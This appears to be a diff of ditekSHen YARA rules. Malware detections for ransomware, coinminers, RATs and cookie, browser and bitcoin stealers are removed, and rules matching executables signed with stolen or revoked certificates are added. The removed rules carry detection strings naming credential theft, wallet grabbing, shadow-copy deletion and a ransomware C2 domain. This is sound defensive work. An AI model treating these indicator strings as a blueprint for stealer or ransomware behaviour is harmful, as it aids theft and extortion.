-		id = "6282df59-7244-501f-bb60-09a2a519bd47"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b9ed2db5-b7d4-5d74-bb11-1e8b1dfe1648"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5763-L5776"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6499-L6510"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8febd1355bc03f71794ffb8d51cbb112e8acd2d26fec5bb736a388d5384e7747"
+		logic_hash = "9866608a02a043e6873c6fbd231cd733b3b5a1e5b77e3205e5cf53f5ae2bcadd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Startdelay for %d ms to avoid some dynamic AV detects!" ascii
-		$s2 = "Use Debug for moving faster!" ascii
-		$s3 = "Logging Mutex %s to %s" ascii
-		$s4 = "FIRST AND ONLY COPY RUNNING! Mutex %s" ascii
-		$s5 = "the most secret 3d GetWinApiPointers line in the world!" ascii
-		$s6 = "[+] makeMD5hash. " ascii
+		thumbprint = "4e7e022c7bb6bd90a75674a67f82e839d54a0a5e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTIVUS LIMITED" and pe.signatures[i].serial=="1f:fc:98:25:64:4c:af:5b:1f:52:17:80:c5:c7:f4:2c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Coinminer01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3112C69D460C781Fd649C71E61Bfec82 : FILE
 {
 	meta:
-		description = "Detects coinmining malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "739e7cea-c6b6-5add-86d4-382b00e2b645"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a8092e36-92f9-5cb0-a427-74d40a39d94f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5778-L5790"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6512-L6523"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "31a7531ecc7b8a35ba882c17d15bd3581e65b4b99dd3a7cb8bca8f6edf204114"
+		logic_hash = "9662a01369bc01367bcae7813b3fcb3050721471dd247885bcab8918de7c6b99"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "-o pool." ascii wide
-		$s2 = "--cpu-max-threads-hint" ascii wide
-		$s3 = "-P stratum" ascii wide
-		$s4 = "--farm-retries" ascii wide
-		$dl = "github.com/ethereum-mining/ethminer/releases/download" ascii wide
+		thumbprint = "7ec961d2c69f7686e33f39d497a5e3039e512cf3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or ($dl))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KREATURHANDLER BJARNE ANDERSEN ApS" and pe.signatures[i].serial=="31:12:c6:9d:46:0c:78:1f:d6:49:c7:1e:61:bf:ec:82")
 }
 import "pe"
 
-rule DITEKSHEN_PUA_Win_Ultrasurf : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F64E5B34Dc0E4893495D3B9Fd9Cde4B7 : FILE
 {
 	meta:
-		description = "Detects UltraSurf / Ultrareach PUA"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ba0f6867-bddc-5e72-978c-8e29b1b6b709"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d408b662-6328-55a8-ab64-42ea8f18c1cf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5792-L5807"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6525-L6536"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d8d17b1bf20c12f864697d3dd66f345a8b93e2a75f0489b58b23b7f5264b6be3"
+		logic_hash = "497e63e4a19fa5b05d1098177dc73ae2255d4608d97e1001461dc4f8edced169"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Ultrareach Internet Corp." ascii
-		$s2 = "UltrasurfUnionRectUrlFixupWUse Proxy" ascii
-		$s3 = "Ultrasurf UnlockFileUrlEscapeWUser-Agent" ascii wide
-		$s4 = "Ultrasurf0#" ascii
-		$m1 = "main.bindata_read" fullword ascii
-		$m2 = "main.icon64_png" fullword ascii
-		$m3 = "main.setProxy" fullword ascii
-		$m4 = "main.openbrowser" fullword ascii
+		thumbprint = "49373674eb2190c227455c9b5833825fe01f957a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or ( all of ($m*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMASoft" and pe.signatures[i].serial=="f6:4e:5b:34:dc:0e:48:93:49:5d:3b:9f:d9:cd:e4:b7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hello : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Bec31A0A40D2E834E51Ae704E1Bf9D3 : FILE
 {
 	meta:
-		description = "Hunt for Hello / WickrMe ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "99c11aab-8a3a-5e10-9af0-542e55129d51"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9228c13e-b380-5867-ad1f-e483c8977196"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5809-L5820"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6538-L6549"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f52f12eb38613f5afd5258b5263c6e6e2d9db6c9659a769f896a2bb66564fa69"
+		logic_hash = "f1fdd6e76deea106db9fc4ef0916b2cecd6edb3849847946f15c194a9028a76e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DeleteBackupFiles" ascii wide
-		$s2 = "GetEncryptFiles" ascii wide
-		$s3 = "DeleteVirtualDisks" ascii wide
-		$s4 = "DismountVirtualDisks" ascii wide
+		thumbprint = "7a236872302156c58d493b63a1607a09c4f1d0b8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "whatsupfuckers" and pe.signatures[i].serial=="6b:ec:31:a0:a4:0d:2e:83:4e:51:ae:70:4e:1b:f9:d3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Buterat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_9Fac361Ee3304079 : FILE
 {
 	meta:
-		description = "Detects ButeRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "74f63d61-6589-5fb1-864a-3a02ddd57ebc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4143adb3-bd23-549c-b862-0db3583be161"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5822-L5839"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6551-L6565"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c3d93e8dc1bde8e77c11586c8d8b67d137ef2c4791e12269f1af310fbe14832b"
+		logic_hash = "a32fe70e2242e587007c3985420c3bea25d35aff37f62881cc386bdeff22ca93"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "TVqQAAMAA" ascii
-		$s1 = "ipinfo.io/geo" wide
-		$s2 = "/index.php" wide
-		$s3 = "Copy-Item -Path" wide
-		$s4 = ";Start-Process" wide
-		$s5 = "Microsoft\\Windows\\Start Menu\\Programs\\Startup" wide
-		$s6 = "LOCALAPPDATA" fullword wide
-		$s7 = "passwords.json" wide
-		$s8 = "Scripting.FileSystemObject" fullword wide
-		$z1 = /(edge|chrome|opera|exodus|jaxx|atomic|coinomi)\.zip/ ascii wide nocase
+		thumbprint = "2168032804def9cdbc1fc1a669377d494832f4ec"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) or 1 of ($z*)) and (4 of ($s*)) or (6 of ($s*)) or (#z1>4 and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and (pe.signatures[i].serial=="9f:ac:36:1e:e3:30:40:79" or pe.signatures[i].serial=="00:9f:ac:36:1e:e3:30:40:79"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cookiestealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1895De749994D0Db : FILE
 {
 	meta:
-		description = "Detects generic cookie stealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "64c6c59d-4046-5949-bf71-22a5f6bfa209"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2a8129ac-9838-5798-a115-ec03c1b3c205"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5841-L5857"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6567-L6578"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9cc406ae078e37430b3cf10954c02014b9760bc887344842e724df735d1d9808"
+		logic_hash = "0b5e7998bd6303a12a8681bca88b7802caa08d9272196b830ffac5573b6e3772"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "([\\S]+?)=([^;|^\\r|^\\n]+)" fullword ascii
-		$s2 = "(.+?): ([^;|^\\r|^\\n]+)" fullword ascii
-		$s3 = "Set-Cookie: ([^\\r|^\\n]+)" fullword ascii
-		$s4 = "cmd.exe /c taskkill /f /im chrome.exe" fullword ascii
-		$s5 = "FIREFOX.EXE|Google Chrome|IEXPLORE.EXE" ascii
-		$pdb1 = "F:\\facebook_svn\\trunk\\database\\Release\\DiskScan.pdb" fullword ascii
-		$pdb2 = "D:\\Projects\\crxinstall\\trunk\\Release\\spoofpref.pdb" fullword ascii
-		$ua1 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36" fullword ascii
-		$ua2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" fullword ascii
+		thumbprint = "069b9cb52a325a829aba7731ead939bc4ebf3743"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($pdb*) and 1 of ($ua*)) or ( all of ($ua*) and 1 of ($pdb*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and pe.signatures[i].serial=="18:95:de:74:99:94:d0:db")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bitcoingrabber : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_28B691272719B1Ee : FILE
 {
 	meta:
-		description = "Detects generic bitcoin stealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f73b58da-1db5-5767-ae0a-074648e30966"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5a8cf540-701f-5f94-b630-ccbaa62abfdd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5859-L5875"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6580-L6591"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2dc762525c1fbf25517df52f0561d96d7469bf1367eada31c236fc313001c6cb"
+		logic_hash = "b2224f8107e7c50334c7e12963e4e37c0a6824c49842afb314c12d6de9d6bc5e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s2 = "Bitcoin-Grabber" ascii
-		$s3 = "Bitcoin_Grabber" ascii
-		$s4 = "encrypt resources [compress]T" fullword ascii
-		$s5 = "code control flow obfuscationT" fullword ascii
-		$s6 = "\\Users\\lakol\\Desktop\\a\\Crypto Currency Wallet Changer\\" ascii
-		$pat1 = "\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\\b" fullword wide
-		$pat2 = "\\b0x[a-fA-F0-9]{40}\\b" fullword wide
-		$pat3 = "\\b4([0-9]|[A-B])(.){93}\\b" fullword wide
+		thumbprint = "5dcbc94a2fdcc151afa8c55f24d0d5124d3b6134"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($pat*) and 2 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2021945 Ontario Inc." and pe.signatures[i].serial=="28:b6:91:27:27:19:b1:ee")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_FOXGRABBER : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E3B80C0932B52A708477939B0D32186F : FILE
 {
 	meta:
-		description = "Detects FOXGRABBER utility"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b98e501c-e9c6-5fcc-bfa0-9475ce32864c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "41525cdd-f65a-5aad-bd99-1cdcf8b11981"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5877-L5890"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6593-L6607"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5ecba516f1155bdcccf83b0a034b11d8eac8619d4c3326fdbc76082fbe4daf02"
+		logic_hash = "a0a95c20c5c82b460ddef686731d1053181cb5066bbb4f585a4f402f50efe030"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "start grabbing" wide
-		$s2 = "end grabbing in" wide
-		$s3 = "error of copying files from comp:" wide
-		$s4 = "\\Firefox\\" wide nocase
-		$pdb1 = "\\obj\\Debug\\grabff.pdb" ascii
-		$pdb2 = "\\obj\\Release\\grabff.pdb" ascii
+		thumbprint = "1d2b5d4f0de1d7ce4abf82fdc58adc43bc28adee"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BISOYETUTU LTD LIMITED" and (pe.signatures[i].serial=="e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" or pe.signatures[i].serial=="00:e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Browsergrabber : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : FILE
 {
 	meta:
-		description = "Hunt for FOXGRABBER-like samples but for various browsers"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a50a60cf-5ab8-5e4e-be00-aa0306f4d84f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "509dcc22-1202-5b6e-a602-6b06c282b28d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5892-L5906"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6609-L6623"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c96a63566280758d8c32542bfab3c6faa7d21329430345f51ea4c2f0a6809dc2"
+		logic_hash = "6d3d0cfb42758f917b003f7979f7123c1789c9e9b4e01b1aebf265a298eac08f"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "start grabbing" wide
-		$s2 = "end grabbing in" wide
-		$s3 = "error of copying files from comp:" wide
-		$s4 = /(Chrome|Edge)/ wide
-		$ff = "\\Firefox\\" wide nocase
-		$pdb1 = "\\obj\\Debug\\grab" ascii
-		$pdb2 = "\\obj\\Release\\grab" ascii
+		thumbprint = "6b66ba34ff01e0dab6e68ba244d991578a69c4ad"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and not ($ff) and ( all of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NAILS UNLIMITED LIMITED" and (pe.signatures[i].serial=="c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" or pe.signatures[i].serial=="00:c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Deathransom : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Sagsanlgs : FILE
 {
 	meta:
-		description = "Detects known DeathRansom ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a6eeb607-8b5c-5982-8b5a-aa2b3c6a65e6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b08e46a5-de76-5711-98dc-2144c7bbe66f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5908-L5925"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6639-L6650"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3c87364a7ecc403262056eeccaa16bf230fbbe684e21d35099d0d572abba9eda"
+		logic_hash = "3ab10d8605f501f3c4f3a3afa31c5b001e03354846ff1953e7e36ceb9b564bf6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%s %f %c" fullword ascii
-		$pdb1 = ":\\wud.pdb" ascii
-		$spdb2 = "\\crypt_server\\runtime\\crypt" ascii
-		$spdb3 = "\\bin\\nuvin.pdb" ascii
-		$h1 = "#Dunubeyokunov" wide
-		$h2 = "^Neyot dehipijakeyelih" wide
-		$h3 = "talin%Sanovurenofibiw" wide
-		$h4 = "WriteFile" fullword ascii
-		$h5 = "ClearEventLogA" fullword ascii
-		$h6 = "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" ascii wide
+		thumbprint = "a6073f35adbdfe26ddc0f647953acc3a9bd33962"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($pdb*) or ( all of ($s*) and 1 of ($pdb*)) or 5 of ($h*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sagsanlgs" and pe.signatures[i].serial=="00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Unlockyourfiles : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00989A33B72A2Aa29E32D0A5E155C53963 : FILE
 {
 	meta:
-		description = "Detects UnlockYourFiles ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "265f2a48-143a-56c9-9cd4-b5137799a9e8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "59fcdc74-ca44-5d30-b9b0-5e9c7a3b50f3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5927-L5946"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6668-L6682"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "05f549467fac03d4aa2248a9c6c87e4c4273ed6ad727ebb77a4dd115032e454b"
+		logic_hash = "f016093cd512bcbf31814ff1619441e476b3988d0670f469f6311eda37ae295d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "filesx0" wide
-		$s2 = "_auto_file" wide
-		$s3 = "<EncyptedKey>" fullword wide
-		$s4 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\" wide
-		$s5 = "DecryptAllFile" fullword ascii
-		$s6 = "AES_Only_Decrypt_File" fullword ascii
-		$m1 = "Free files decrypted" wide
-		$m2 = "Restore my files" wide
-		$m3 = "Type tour password..." wide
-		$m4 = "files encrypted by strong password" ascii
-		$m5 = "buy bitcoin" ascii
-		$m6 = "Unlock File" fullword wide
+		thumbprint = "3f53d410d2d959197f4a93d81a898f424941e11f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or 5 of ($m*) or (2 of ($s*) and 2 of ($m*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TAKE CARE SP Z O O" and (pe.signatures[i].serial=="98:9a:33:b7:2a:2a:a2:9e:32:d0:a5:e1:55:c5:39:63" or pe.signatures[i].serial=="00:98:9a:33:b7:2a:2a:a2:9e:32:d0:a5:e1:55:c5:39:63"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Decryptmyfiles : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B8F726508Cf1D7B7913Bf4Bbd1E5C19C : FILE
 {
 	meta:
-		description = "Detects DecryptMyFiles ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dab518f2-3fac-5492-88fb-35cd0000ec47"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0acaaed9-ba18-56b0-95b9-e05181843129"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5948-L5964"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6684-L6698"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5b7f74569700e2ad3f31388571dad5ffda45f5ab3dd36806f7514aff0367d5ba"
+		logic_hash = "71eb50a47465d69dbdd488c57b3fd9f70a4dd3b0bc086ed14038320928bc947e"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "FILES ENCRYPTED" wide
-		$s2 = "pexplorer.exe" fullword wide
-		$s3 = "uniquesession" fullword ascii
-		$s4 = ".[decryptmyfiles.top]." fullword ascii
-		$s5 = "decrypt 1 file" ascii
-		$s6 = "(databases,backups, large excel" ascii
-		$c1 = "api/connect.php" ascii
-		$c2 = "decryptmyfiles.top" ascii
-		$c3 = "/contact/" ascii
+		thumbprint = "0711adcedb225b82dc32c1435ff32d0a1e54911a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or all of ($c*) or (2 of ($c*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TMerkuri LLC" and (pe.signatures[i].serial=="b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" or pe.signatures[i].serial=="00:b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Motocos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Aa099E64E214D655801Ea38Ad876711 : FILE
 {
 	meta:
-		description = "Detects Motocos ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "be7284be-b57d-5a2c-9a84-37d76445cd0d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "00b9cd1f-e389-51fd-8a08-73334bb0d0ef"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5966-L5981"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6700-L6712"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "99ac365c277058503874313e3a74ab016d6d279b47c754c3df950e3ce60e29f1"
+		logic_hash = "a4211bc2f3cedb8b135566d4b22251523a3a2bbdb04c1f1c5b1336ae7c198773"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Block Investigation Tools" wide
-		$s2 = "powershell.exe,taskmgr.exe,procexp.exe,procmon.exe" wide
-		$s3 = "google.com,youtube.com,baidu.com,facebook.com,amazon.com,360.cn,yahoo.com,wikipedia.org,zoom.us,live.com,reddit.com,netflix.com,microsoft.com,instagram.com,vk.com," wide
-		$s4 = "START ----" wide
-		$s5 = "TEngine.Clear_EventLog_Result" wide
-		$s6 = "TEngine.EncryptLockFiles" wide
-		$s7 = "TEngine.CleanShadowFiles" wide
-		$s8 = "TDNSUtils.SendCommand" wide
+		thumbprint = "0789b35fd5c2ef8142e6aae3b58fff14e4f13136"
+		hash1 = "9f90e6711618a1eab9147f90bdedd606fd975b785915ae37e50e7d2538682579"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Psiphon Inc." and pe.signatures[i].serial=="0a:a0:99:e6:4e:21:4d:65:58:01:ea:38:ad:87:67:11")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent12 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_54Cc50D147Fa549E3F721C754E4E3A91 : FILE
 {
 	meta:
-		description = "Detects downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "841b998b-99d1-50d8-bc7b-75b2a8e690bf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2007dabd-74c0-5cc7-986c-21fb1df9136a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5983-L5993"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6714-L6726"
